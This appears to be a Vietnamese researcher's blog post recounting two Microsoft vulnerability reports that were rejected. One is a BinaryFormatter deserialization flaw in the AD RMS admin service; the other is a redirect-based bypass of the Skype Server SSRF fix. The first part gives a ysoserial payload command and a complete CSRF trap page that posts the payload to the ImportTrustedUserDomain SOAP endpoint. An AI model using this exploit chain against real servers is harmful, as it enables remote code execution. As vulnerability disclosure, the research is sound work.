I failed my first CVE attempt with Microsoft.
Tản mạn
Blog này chỉ để viết lại kỉ niệm research nhỏ của mình trong 1 tuần tháng 10/2025 chứ không có lỗ hổng gì quá cao siêu ở đây cả.
Chuyện là thời gian vừa qua mình đọc blog và phát hiện được vài điều thú vị từ các blog phân tích cve và mình nhận ra ngay bản vá bị thiếu sót 1 chút. Mình đã thử bypass và tái hiện bug thành công và submit cho M$ nhưng vì vài lý do mà đã bị từ chối. Mặc kệ đi, vui là được( cũng k vui lắm … )
Failed 1: Insecure Deserialize
Sự tích của cái bug này là từ vụ CVE-2025-59287 WSUS, đầu mình mới đặt ra 1 giả thuyết là.
2025 mà vẫn còn 1 bug insecure deserialize không cần bypass gì trên 1 service của Windows Server này, liệu rằng còn lỗ hổng insecure deserialize trên 1 service khác của Windows Server không. Câu trả lời là có. Nó nằm ngay ở trên sản phẩm ADRMS
Đáng buồn là mình không còn giữ source dịch vụ này nữa, chỉ còn mỗi tấm ảnh này lúc nộp cho m$:
Microsoft.RightsManagementServices.Admin.AdminServiceTrustPolicyManager.ImportTrustedUserDomain
->Microsoft.RightsManagementServices.Admin.ProcessTrustPolicyRequest.ImportTrustedUserDomain
Cụ thể thì rawCertificates sẽ là nơi mà chúng ta cần để payload deserialize, sau đó nó sẽ được
binaryformatter.deserialize tại hàm ImportTrustedUserDomain.
Step 1:
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c win32calc
Step 2: bỏ payload deserialize rawCertificates
Bạn sẽ thấy lỗ hổng được kích hoạt, tuy nhiên đây là 1 lỗ hổng cần quyền administrator đối với dịch vụ ADRMS, mình đã cố gắng vọc vạch thêm nhưng không tìm được cách bypass authentication(chắc do non cái tay :”D). Theo quan điểm của M$, quyền đối với dịch vụ ADRMS là quá lớn do đó cve này bị từ chối.
Mình nghĩ điều này hoàn toàn đúng, nhưng giá mà có cái cve M$ hahaa.
Ngoài lề, ADRMS host cùng port 80 với IIS-default, nếu bạn lỡ cấu hình cho IIS-default lỗ hổng CORS, kẻ tấn công có thể tạo ra 1 trap page CSRF và thành công tấn công máy chủ của bạn
<!DOCTYPE html>
<html><body>
<script>
const xml = `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<VersionData xmlns="http://microsoft.com/DRM/AdminService">
<ClientVersion>8.0.0.0</ClientVersion>
</VersionData>
</soap:Header>
<soap:Body>
<ImportTrustedUserDomain xmlns="http://microsoft.com/DRM/AdminService">
<displayName>test</displayName>
<rawCertificates>Payloadbase64</rawCertificates>
<isADFederationSvcTrusted>false</isADFederationSvcTrusted>
</ImportTrustedUserDomain>
</soap:Body>
</soap:Envelope>`;
const xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.110.142/_wmcs/admin/EnterpriseMgr.asmx', true);
xhr.setRequestHeader('Content-Type', 'text/xml; charset=utf-8');
xhr.setRequestHeader('SOAPAction', 'http://microsoft.com/DRM/AdminService/ImportTrustedUserDomain');
xhr.onload = () => console.log(xhr.responseText);
xhr.onerror = () => console.log('cors error');
xhr.send(xml);
</script>
</body></html>
Failed 2: SSRF bypass(insufficient validation in CVE-2023-41763)
Sau khi bị từ chối lỗ hổng đầu, mình có đọc 1 vài blog trong sự buồn bã và mình kiếm được blog của Frycos, trong blog Frycos miêu tả rất kĩ và mình nhận ra có 1 lỗ hổng nhỏ ở đây, chính là HttpWebRequest.GetResponseAsync() không hề tắt cờ AllowAutoRedirect. => rất có thể M$ chưa fix triệt để lỗ hổng ssrf này, có thể tận dụng lỗ hổng open redirect để trigger ssrf lần nữa.
Ngay lập tức mình dựng thử skype server và nhận ra có một chút validate ở đây
private void ValidateMeetUrl(string meetUrl)
{
if (Wpp.tracer.Level >= 4 && (Wpp.tracer.Flags & 1) != 0)
{
WPP_2897018b9080d7ca34b73bbf6c519b5b.WPP_p(3, 15, (IntPtr)this.GetHashCode());
}
if (!OCSAuthModule.IsRedirectAllowedToUrl(meetUrl)) [4]
{
string text = string.Format("Redirect not allowed to specified URL {0}", meetUrl);
if (Wpp.tracer.Level >= 2 && (Wpp.tracer.Flags & 1) != 0)
{
WPP_2897018b9080d7ca34b73bbf6c519b5b.WPP_ps(3, 16, (IntPtr)this.GetHashCode(), TraceProvider.MakeStringArg(meetUrl));
}
throw new Exception(text);
}
}
public bool IsRedirectAllowedToUrl(string redirectUrl)
{
Uri uri;
if (!Uri.TryCreate(redirectUrl, UriKind.Absolute, out uri))
{
if ((HttpContext.Current == null || HttpContext.Current.IsTraceFilterMatch()) && AuthFrameworkTracer.tracerProvider.Level >= 3 && (AuthFrameworkTracer.tracerProvider.Flags & 1) != 0)
{
WPP_89550d064b0a57cd23d371afac0689d6.WPP_GGs(21, 26, (HttpContext.Current == null) ? Guid.Empty : HttpContext.Current.GetCorrelationGuid(), (HttpContext.Current == null) ? Guid.Empty : HttpContext.Current.GetTelemetryGuid(), TraceProvider.MakeStringArg(redirectUrl));
}
return false;
}
string host = uri.Host;
if (this.m_topologyFqdns.Contains(host) || this.m_simpleUrlFqdns.Contains(host) || this.m_provisionServiceSimpleUrlFqdns.Contains(host) || this.m_originAllowedFqdns.Contains(host)) [5]
{
return true;
}
if ((HttpContext.Current == null || HttpContext.Current.IsTraceFilterMatch()) && AuthFrameworkTracer.tracerProvider.Level >= 3 && (AuthFrameworkTracer.tracerProvider.Flags & 1) != 0)
{
WPP_89550d064b0a57cd23d371afac0689d6.WPP_GGs(21, 27, (HttpContext.Current == null) ? Guid.Empty : HttpContext.Current.GetCorrelationGuid(), (HttpContext.Current == null) ? Guid.Empty : HttpContext.Current.GetTelemetryGuid(), TraceProvider.MakeStringArg(host));
}
Cụ thể thì ứng dụng Skype Server chỉ kiểm tra host trong meeturl xem có nằm trong các host cho phép hay không, nếu có thì cho tiếp tục, việc kiểm tra này rõ ràng tồn tại 1 lỗ hổng.
Kẻ tấn công MITM có thể giả mạo host nằm trong các “host cho phép” trông qua http request kiểu như ảnh dưới đây từ đó đi qua validate. Khi server gửi request tới “host cho phép”, “host cho phép” giả mạo này ngay lập tức redirect tới 10.10.10.10, từ đó 10.10.10.10 sẽ nhận được request từ server skype.
M$ công nhận lỗ hổng này có tồn tại tuy nhiên không không đáng để đánh CVE. Dẫu sao thì hoan hỉ
Tạm biệt
Blog này khá buồn với mình, cũng có thể là khá buồn cười với người đọc =))).
Dẫu sao thì cũng từng thử và sai chứ k còn là không dám thử
